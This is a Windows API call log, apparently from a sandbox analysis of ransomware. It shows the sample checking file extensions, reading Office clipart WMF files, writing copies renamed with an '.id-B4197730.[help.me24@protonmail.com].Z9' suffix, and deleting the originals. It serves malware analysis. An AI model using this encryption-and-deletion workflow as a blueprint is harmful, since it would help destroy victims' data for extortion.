	[0095.748] lstrlenW (lpString=".1cd") returned 4
	[0095.748] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0095.748] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00426_.WMF") returned 68
	[0095.748] lstrlenW (lpString=".jpg") returned 4
	[0095.748] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0095.748] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00426_.WMF") returned 68
	[0095.748] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00426_.WMF") returned 68
	[0095.748] lstrlenW (lpString=".doc") returned 4
	[0095.748] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0095.748] lstrlenW (lpString=".docx") returned 5
	[0095.748] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0095.748] lstrlenW (lpString=".pdf") returned 4
	[0095.748] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0095.748] lstrlenW (lpString=".xls") returned 4
	[0095.748] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0095.748] lstrlenW (lpString=".xlsx") returned 5
	[0095.748] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0095.748] lstrlenW (lpString=".ppt") returned 4
	[0095.748] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0095.748] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00426_.WMF") returned 68
	[0095.749] lstrlenW (lpString=".zip") returned 4
	[0095.749] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0095.749] lstrlenW (lpString=".rar") returned 4
	[0095.749] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0095.749] lstrlenW (lpString=".bz2") returned 4
	[0095.749] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0095.749] lstrlenW (lpString=".7z") returned 3
	[0095.749] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0095.749] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00426_.WMF") returned 68
	[0095.749] lstrlenW (lpString=".dbf") returned 4
	[0095.749] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0095.749] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00426_.WMF") returned 68
	[0095.749] lstrlenW (lpString=".1cd") returned 4
	[0095.749] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0095.749] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00426_.WMF") returned 68
	[0095.749] lstrlenW (lpString=".jpg") returned 4
	[0095.749] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0095.749] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0095.749] lstrlenW (lpString="IN00046_.WMF") returned 12
	[0095.749] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00046_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00046_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358
	[0095.750] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x260ff14 | out: lpFileSize=0x260ff14*=1158) returned 1
	[0095.750] CloseHandle (hObject=0x358) returned 1
	[0095.750] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00046_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00046_.wmf")) returned 0x220
	[0095.750] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00046_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00046_.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0095.750] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00046_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00046_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358
	[0095.750] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x260fec0 | out: lpNewFilePointer=0x0) returned 1
	[0095.750] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x260fec0 | out: lpNewFilePointer=0x0) returned 1
	[0095.750] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00046_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00046_.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390
	[0095.751] GetLastError () returned 0x0
	[0095.751] ReadFile (in: hFile=0x358, lpBuffer=0x2e9c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x260fecc, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesRead=0x260fecc*=0x486, lpOverlapped=0x0) returned 1
	[0095.752] WriteFile (in: hFile=0x390, lpBuffer=0x2e9c020*, nNumberOfBytesToWrite=0x490, lpNumberOfBytesWritten=0x260fc94, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesWritten=0x260fc94*=0x490, lpOverlapped=0x0) returned 1
	[0095.753] ReadFile (in: hFile=0x358, lpBuffer=0x2e9c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x260fecc, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesRead=0x260fecc*=0x0, lpOverlapped=0x0) returned 1
	[0095.753] WriteFile (in: hFile=0x390, lpBuffer=0x2e9c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x260fc94, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesWritten=0x260fc94*=0xec, lpOverlapped=0x0) returned 1
	[0095.753] SetEndOfFile (hFile=0x390) returned 1
	[0095.753] CloseHandle (hObject=0x390) returned 1
	[0095.753] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x260fec0 | out: lpNewFilePointer=0x0) returned 1
	[0095.753] SetEndOfFile (hFile=0x358) returned 1
	[0095.754] CloseHandle (hObject=0x358) returned 1
	[0095.754] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00046_.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0095.754] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00046_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00046_.wmf")) returned 1
	[0095.755] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00046_.WMF") returned 68
	[0095.755] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00046_.WMF") returned 68
	[0095.755] lstrlenW (lpString=".doc") returned 4
	[0095.755] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0095.755] lstrlenW (lpString=".docx") returned 5
	[0095.755] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0095.755] lstrlenW (lpString=".pdf") returned 4
	[0095.755] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0095.755] lstrlenW (lpString=".xls") returned 4
	[0095.756] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0095.756] lstrlenW (lpString=".xlsx") returned 5
	[0095.756] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0095.756] lstrlenW (lpString=".ppt") returned 4
	[0095.756] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0095.756] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00046_.WMF") returned 68
	[0095.756] lstrlenW (lpString=".zip") returned 4
	[0095.756] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0095.756] lstrlenW (lpString=".rar") returned 4
	[0095.756] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0095.756] lstrlenW (lpString=".bz2") returned 4
	[0095.756] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0095.756] lstrlenW (lpString=".7z") returned 3
	[0095.756] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0095.756] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00046_.WMF") returned 68
	[0095.756] lstrlenW (lpString=".dbf") returned 4
	[0095.756] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0095.756] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00046_.WMF") returned 68
	[0095.756] lstrlenW (lpString=".1cd") returned 4
	[0095.756] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0095.756] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00046_.WMF") returned 68
	[0095.756] lstrlenW (lpString=".jpg") returned 4
	[0095.756] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0095.756] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00046_.WMF") returned 68
	[0095.756] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00046_.WMF") returned 68
	[0095.756] lstrlenW (lpString=".doc") returned 4
	[0095.756] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0095.756] lstrlenW (lpString=".docx") returned 5
	[0095.756] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0095.756] lstrlenW (lpString=".pdf") returned 4
	[0095.756] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0095.756] lstrlenW (lpString=".xls") returned 4
	[0095.756] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0095.756] lstrlenW (lpString=".xlsx") returned 5
	[0095.756] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0095.756] lstrlenW (lpString=".ppt") returned 4
	[0095.757] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0095.757] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00046_.WMF") returned 68
	[0095.757] lstrlenW (lpString=".zip") returned 4
	[0095.757] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0095.757] lstrlenW (lpString=".rar") returned 4
	[0095.757] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0095.757] lstrlenW (lpString=".bz2") returned 4
	[0095.757] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0095.757] lstrlenW (lpString=".7z") returned 3
	[0095.757] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0095.757] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00046_.WMF") returned 68
	[0095.757] lstrlenW (lpString=".dbf") returned 4
	[0095.757] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0095.757] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00046_.WMF") returned 68
	[0095.757] lstrlenW (lpString=".1cd") returned 4
	[0095.757] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0095.757] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00046_.WMF") returned 68
	[0095.757] lstrlenW (lpString=".jpg") returned 4
	[0095.757] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0095.757] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0095.757] lstrlenW (lpString="IN00118_.WMF") returned 12
	[0095.757] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00118_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00118_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358
	[0095.757] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x260ff14 | out: lpFileSize=0x260ff14*=792) returned 1
	[0095.758] CloseHandle (hObject=0x358) returned 1
	[0095.758] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00118_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00118_.wmf")) returned 0x220
	[0095.758] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00118_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00118_.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0095.758] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00118_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00118_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358
	[0095.758] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x260fec0 | out: lpNewFilePointer=0x0) returned 1
	[0095.758] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x260fec0 | out: lpNewFilePointer=0x0) returned 1
	[0095.758] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00118_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00118_.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390
	[0095.758] GetLastError () returned 0x0
	[0095.758] ReadFile (in: hFile=0x358, lpBuffer=0x2e9c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x260fecc, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesRead=0x260fecc*=0x318, lpOverlapped=0x0) returned 1
	[0096.099] WriteFile (in: hFile=0x390, lpBuffer=0x2e9c020*, nNumberOfBytesToWrite=0x320, lpNumberOfBytesWritten=0x260fc94, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesWritten=0x260fc94*=0x320, lpOverlapped=0x0) returned 1
	[0096.099] ReadFile (in: hFile=0x358, lpBuffer=0x2e9c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x260fecc, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesRead=0x260fecc*=0x0, lpOverlapped=0x0) returned 1
	[0096.100] WriteFile (in: hFile=0x390, lpBuffer=0x2e9c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x260fc94, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesWritten=0x260fc94*=0xec, lpOverlapped=0x0) returned 1
	[0096.100] SetEndOfFile (hFile=0x390) returned 1
	[0096.100] CloseHandle (hObject=0x390) returned 1
	[0096.100] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x260fec0 | out: lpNewFilePointer=0x0) returned 1
	[0096.100] SetEndOfFile (hFile=0x358) returned 1
	[0096.101] CloseHandle (hObject=0x358) returned 1
	[0096.101] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00118_.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0096.101] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00118_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00118_.wmf")) returned 1
	[0096.101] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00118_.WMF") returned 68
	[0096.101] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00118_.WMF") returned 68
	[0096.101] lstrlenW (lpString=".doc") returned 4
	[0096.101] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0096.101] lstrlenW (lpString=".docx") returned 5
	[0096.101] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0096.101] lstrlenW (lpString=".pdf") returned 4
	[0096.101] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0096.101] lstrlenW (lpString=".xls") returned 4
	[0096.101] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0096.101] lstrlenW (lpString=".xlsx") returned 5
	[0096.102] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0096.102] lstrlenW (lpString=".ppt") returned 4
	[0096.102] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0096.102] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00118_.WMF") returned 68
	[0096.102] lstrlenW (lpString=".zip") returned 4
	[0096.102] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0096.102] lstrlenW (lpString=".rar") returned 4
	[0096.102] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0096.102] lstrlenW (lpString=".bz2") returned 4
	[0096.102] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0096.102] lstrlenW (lpString=".7z") returned 3
	[0096.102] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0096.102] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00118_.WMF") returned 68
	[0096.102] lstrlenW (lpString=".dbf") returned 4
	[0096.102] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0096.102] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00118_.WMF") returned 68
	[0096.102] lstrlenW (lpString=".1cd") returned 4
	[0096.102] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0096.102] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00118_.WMF") returned 68
	[0096.102] lstrlenW (lpString=".jpg") returned 4
	[0096.102] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0096.102] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00118_.WMF") returned 68
	[0096.102] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00118_.WMF") returned 68
	[0096.102] lstrlenW (lpString=".doc") returned 4
	[0096.102] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0096.102] lstrlenW (lpString=".docx") returned 5
	[0096.102] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0096.102] lstrlenW (lpString=".pdf") returned 4
	[0096.102] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0096.102] lstrlenW (lpString=".xls") returned 4
	[0096.102] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0096.102] lstrlenW (lpString=".xlsx") returned 5
	[0096.102] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0096.102] lstrlenW (lpString=".ppt") returned 4
	[0096.102] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0096.102] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00118_.WMF") returned 68
	[0096.103] lstrlenW (lpString=".zip") returned 4
	[0096.103] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0096.103] lstrlenW (lpString=".rar") returned 4
	[0096.103] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0096.103] lstrlenW (lpString=".bz2") returned 4
	[0096.103] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0096.103] lstrlenW (lpString=".7z") returned 3
	[0096.103] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0096.103] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00118_.WMF") returned 68
	[0096.103] lstrlenW (lpString=".dbf") returned 4
	[0096.103] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0096.103] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00118_.WMF") returned 68
	[0096.103] lstrlenW (lpString=".1cd") returned 4
	[0096.103] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0096.103] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00118_.WMF") returned 68
	[0096.103] lstrlenW (lpString=".jpg") returned 4
	[0096.103] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0096.103] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0096.103] lstrlenW (lpString="J0086424.WMF") returned 12
	[0096.103] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086424.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086424.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0096.431] GetFileSizeEx (in: hFile=0x35c, lpFileSize=0x260ff14 | out: lpFileSize=0x260ff14*=17016) returned 1
	[0096.533] CloseHandle (hObject=0x35c) returned 1
	[0096.533] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086424.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086424.wmf")) returned 0x220
	[0096.533] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086424.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086424.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0096.533] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086424.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086424.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0096.533] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x260fec0 | out: lpNewFilePointer=0x0) returned 1
	[0096.533] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x260fec0 | out: lpNewFilePointer=0x0) returned 1
	[0096.533] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086424.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086424.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c
	[0096.541] GetLastError () returned 0x0
	[0096.541] ReadFile (in: hFile=0x35c, lpBuffer=0x2e9c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x260fecc, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesRead=0x260fecc*=0x4278, lpOverlapped=0x0) returned 1
	[0096.549] WriteFile (in: hFile=0x36c, lpBuffer=0x2e9c020*, nNumberOfBytesToWrite=0x4280, lpNumberOfBytesWritten=0x260fc94, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesWritten=0x260fc94*=0x4280, lpOverlapped=0x0) returned 1
	[0096.551] ReadFile (in: hFile=0x35c, lpBuffer=0x2e9c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x260fecc, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesRead=0x260fecc*=0x0, lpOverlapped=0x0) returned 1
	[0096.551] WriteFile (in: hFile=0x36c, lpBuffer=0x2e9c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x260fc94, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesWritten=0x260fc94*=0xec, lpOverlapped=0x0) returned 1
	[0096.551] SetEndOfFile (hFile=0x36c) returned 1
	[0096.551] CloseHandle (hObject=0x36c) returned 1
	[0096.551] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x260fec0 | out: lpNewFilePointer=0x0) returned 1
	[0096.551] SetEndOfFile (hFile=0x35c) returned 1
	[0096.552] CloseHandle (hObject=0x35c) returned 1
	[0096.552] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086424.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0096.552] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086424.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086424.wmf")) returned 1
	[0096.552] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086424.WMF") returned 68
	[0096.552] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086424.WMF") returned 68
	[0096.553] lstrlenW (lpString=".doc") returned 4
	[0096.553] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0096.553] lstrlenW (lpString=".docx") returned 5
	[0096.553] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1
	[0096.553] lstrlenW (lpString=".pdf") returned 4
	[0096.553] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0096.553] lstrlenW (lpString=".xls") returned 4
	[0096.553] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0096.553] lstrlenW (lpString=".xlsx") returned 5
	[0096.553] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1
	[0096.553] lstrlenW (lpString=".ppt") returned 4
	[0096.553] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0096.553] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086424.WMF") returned 68
	[0096.553] lstrlenW (lpString=".zip") returned 4
	[0096.553] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0096.553] lstrlenW (lpString=".rar") returned 4
	[0096.553] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0096.553] lstrlenW (lpString=".bz2") returned 4
	[0096.553] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0096.553] lstrlenW (lpString=".7z") returned 3
	[0096.553] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0096.553] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086424.WMF") returned 68
	[0096.553] lstrlenW (lpString=".dbf") returned 4
	[0096.553] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0096.553] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086424.WMF") returned 68
	[0096.553] lstrlenW (lpString=".1cd") returned 4
